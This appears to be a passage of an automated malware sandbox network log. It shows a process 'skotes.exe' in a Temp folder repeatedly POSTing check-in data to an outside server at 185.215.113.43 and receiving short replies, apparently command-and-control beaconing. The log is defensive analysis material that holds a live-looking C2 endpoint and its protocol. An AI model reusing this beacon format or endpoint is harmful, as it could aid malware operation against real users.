Nov 19, 2024 01:04:01.562206984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50319	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:03.083832026 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:04.014647961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50320	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:05.642268896 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:06.538609982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50321	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:08.056803942 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:08.961565971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50328	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:10.593077898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:11.493524075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50331	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:13.020236969 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:13.927329063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50334	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:15.557724953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:16.459444046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50337	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:17.976804018 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:18.890053988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50338	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:20.522125959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:21.442924976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50346	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:22.957379103 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:23.866950989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50347	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:25.509309053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:26.446698904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50349	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:27.974061966 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:28.895040035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50353	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:30.524859905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:31.426743984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50356	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:32.954339027 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:33.869745970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	57248	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:35.497232914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:36.409076929 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	57252	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:37.937905073 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:38.860914946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	57254	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:40.487036943 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:41.400938988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	57258	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:42.919960022 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:43.820952892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	64234	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:45.455554962 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:46.376491070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	64236	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:47.895214081 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:48.833122969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	64240	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:50.681828022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:51.596519947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	64244	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:53.124496937 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:54.054363012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	64247	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:55.684760094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:04:56.582969904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	64250	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
